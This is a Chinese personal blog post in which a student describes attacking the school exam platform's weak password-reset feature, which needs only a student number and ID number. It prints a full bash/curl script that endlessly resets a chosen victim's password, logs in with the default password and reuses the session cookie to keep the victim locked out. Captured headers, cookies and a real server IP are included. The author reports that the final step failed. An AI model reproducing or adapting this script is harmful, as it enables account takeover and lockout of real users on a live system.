简单的Shell脚本实战

Web
1.8k 词

引言

前几天复习C语言,摸鱼了几天之后准备去学校的考试平台上做个题练练手,结果太久没登忘记密码了😓结果发现重置密码只需身份证号,而身份证号这种信息在同学之间几乎完全可见,忍不住想到有意思的事。

不过有个问题,重置之后受害者发现登陆不了,只需要重新重置一次不就可以了?那重置似乎也没什么意义……又想了想,如果我能写个脚本,不断重置密码,在受害者重置完到输入密码登录的间隔中又重置了一次密码,岂不就可以做到始终让受害者卡在登录和重置页面了吗?听起来有意思,刚好最近我又在鼓捣**curl** ,对用shell发起请求比较熟悉,就着手试着写了下。

注:因为我在楼下的二手书店里淘来的Linux教程写shell编程用的bash,以下基于bash语法

简单的实现

如上所述,不断发起请求需要用到循环,就去查了下shell脚本中循环的语法:

1
2
3
4
5
for((i=0;;i++))
do
echo "hello world!"
pwd
done

因为for循环的第二个遍历条件为空,故如上的脚本将无限循环输出hello world和当前目录(pwd)。

下一步就是如何发起修改密码的请求,当然是用curl

1
curl "http://exam.mit.edu.cn/index.php?r=not%2Fresetpasswd"

修改密码的数据请求是用的是post,burp抓包看下请求头发现学号和身份证号参数名分别是StuNum和IC,构造curl的post请求:

1
curl -X POST --data "StuNum=123456&IC=123456789546821350" "http://exam.mit.edu.cn/index.php?r=not%2Fresetpasswd"

为了方便用,再做个接口:

1
2
3
4
5
echo "plz input the student number:"
read stunum
echo "plz input the ic:"
read ic
curl -X POST --data "StuNum=${stunum}&IC=${ic}" "http://exam.mit.edu.cn/index.php?r=not%2Fresetpasswd"

注:read传参变量需要用${}**

再加上循环就能完成无限循环发起请求修改密码,但试了下才想起来还是不行,因为重置密码只能重置成默认密码也就是学号,受害者只有第一次会发现登不上,第二次虽然重置但还是默认,所以完全没影响……

不过,如果能修改密码后再登录到账号内,用正常的修改密码操作完成修改密码,岂不就可以实现之前的思路了?

毫无疑问,这次的关键在cookie账号内修改密码的页面多半是用cookie完成身份验证的,而这个cookie就是在登录前修改密码页面的响应头中(在正常的重置密码时,会在修改密码页面提交post传参,然后将相应头的cookie用作跳转的cookie重新请求原页面)

curl有类似操作的命令参数:

1
2
curl -c cookie.txt "url1"
curl -b cookie.txt "url2"

如上-c将请求url1的cookie保存至cookie.txt,然后-b用cookie.txt作cookie请求url2.

我实际操作了下,发现登录页面始终返回402 refused,想了想可能是DNS解析的问题,改成IP之后可以了,最终的脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#!/bin/bash
#this shell script is wrrted by Yo1uk0

green(){
echo -e "\033[32m\033[01m$1\033[0m"
}
red(){
echo -e "\033[31m\033[01m$1\033[0m"
}

echo "************************************"
red " Welcome!"
echo "************************************"
green "请输入学号捏:"
read stunum
green "请输入身份证号捏:"
read ic
red "秋豆麻袋捏^_^"

for((i=0;;i++))
do
sleep 10;
#传参引用需要加${}
curl -X POST --data "StuNum=${stunum}&IC=${ic}" "http://exam.cuit.edu.cn/index.php?r=not%2Fresetpasswd"
green "修改密码完成捏!"

#下面url无法直接用域名访问,故用ip

curl -c cookie114514 -d "StuNumber=${stunum}&password=${stunum}" http://222.18.158.42/index.php?r=front%2Fsite%2Flogin
green "获取cookie完成捏!"

curl -b cookie114514 "http://exam.cuit.edu.cn/index.php?r=front%2Fsite%2Findex"
green "会话劫持完成捏!登录成功!"
echo -e "\n"
done
red "susess!"

但我实际测试了下发现可以完成密码修改和获取cookie,但无法成功登录,看了下生成的cookie文件:

1
2
3
4
5
6
# Netscape HTTP Cookie File
# https://curl.se/docs/http-cookies.html
# This file was generated by libcurl! Edit at your own risk.
#HttpOnly_222.18.158.42 FALSE / FALSE 1639852412 _identity 216677e5730f942bd87c1fa13ad6b5b71bc63a118fac7db5ea582088e3d56a27a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Biwdaawdawdawd%3A1%3Bs%3dawadwawd1122179%22%2C%dwaawd9%22%2C18000%5D%22%3B%7D
#HttpOnly_222.18.158.42 FALSE / FALSE 0 PHPSESSID 64lflvvcue2o1dawadf6i2tpt15
{1}

本以为是cookie未能正常发送,想用sed命令正则表达式修改匹配的文本,但似乎没这么简单。抓包看下登录页面生成cookie的响应头:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
HTTP/1.1 200 OK
Date: Tue, 21 Dec 2021 16:25:56 GMT
Server: Apache/2.4.18 (Ubuntu)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Set-Cookie: PHPSESSID=9mc7imdr5femaapggh6cl0p660; path=/; HttpOnly
Set-Cookie: _identity=216677e5730f942bd87c1fa13ad6b5b71bc63a118fac7db5ea582088e3d56a27a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A33%3A%22%5B%222021122179%22%2C%222021122179%22%2C18000%5D%22%3B%7D; expires=Tue, 21-Dec-2021 21:25:56 GMT; Max-Age=18000; path=/; httponly
Content-Length: 44
Connection: close
Content-Type: text/html; charset=UTF-8

{"error":0,"msg":"\u767b\u5f55\u6210\u529f"}

很明显set-cookie生成的键值对与密码和学号有关,PHPSESSID为随机值。

正常登录后修改密码的请求头

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
POST /index.php?r=front%2Fsite%2Fchange HTTP/1.1
Host: exam.mit.edu.cn
Content-Length: 60
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://exam.mit.edu.cn
Referer: http://exam.mit.edu.cn/index.php?r=front%2Fsite%2Fchange-password
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,ja;q=0.8,zh-TW;q=0.7,en;q=0.6,eu;q=0.5
Cookie: UM_distinctid=17d3e299b16207-07b379d58115b1-57b1a33-144000-17d3e299b171050; PHPSESSID=ul2bcepjn984q5o0gqfrr94qp5; _identity=216677e5730f942bd87c1fa13ad6b5b71bcwadwaAdawfaef63a118fac7db5ea582088e3d56a27a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A33%3Awafd%22%5B%222021122179%2C%222021122179%22%2C18000%5D%22%3B%7D
Connection: close

StuNumber=20211221&oldpassword=2021122&newpassword=2021

看起来Referer和Origin也是**前后端鉴权**的重要部分,但终归是静态的,很容易就修改,真正麻烦的还是有失效时限的token。我在burp的repeater模块试了下,即便是完全相同的请求头而且返回200也无法二次修改密码,而且一段时间后会直接302.

回头想想,其实这种脚本的关键在于模拟用户在浏览器正常发起请求的过程,完成正常的鉴权来完成传参。

现在的问题是如何绕过鉴权,如果不考虑token,正常的cookie与session交互流程如下:
img

刚才抓包是对服务端的请求,因此在数据库校验成功后服务器存session并在前端set-cookie,即刚才生成在响应头里的cookie(其中含有sessionid),然后请求登录页面跳转再验证,随后返回登陆后的首页内容。

这样想似乎思路还是没问题,在curl里再加个参数试试:

1
curl -v -H "Origin: http://exam.cuit.edu.cn" -H "http://exam.cuit.edu.cn/index.php?r=front%2Fsite%2Fchange-password" -d "StuNumber=2021122179&oldpassword=2021122179&newpassword=2021122" --cookie "UM_distinctid=17d3e299b16207-07b379d58115b1-57b1a33-144000-17d3e299b171050; PHPSESSID=ul2bcepjn984q5o0gqfrr94qp5; _identity=216677e5730f942bd87c1fa13ad6b5b71bc63a118fac7db5ea582088e3d56a27a%3A2%3A%7Bi%3A0%3Bs%3A9%3A%22_identity%22%3Bi%3A1%3Bs%3A33%3A%22%5B%222021122179%22%2C%222021122179%22%2C18000%5D%22%3B%7D" http://exam.mit.edu.cn/index.php?r=front%2Fsite%2Fchange

还是302,难搞,卡在这里搞不懂了,下次试试python的requests库能不能模拟请求。

留言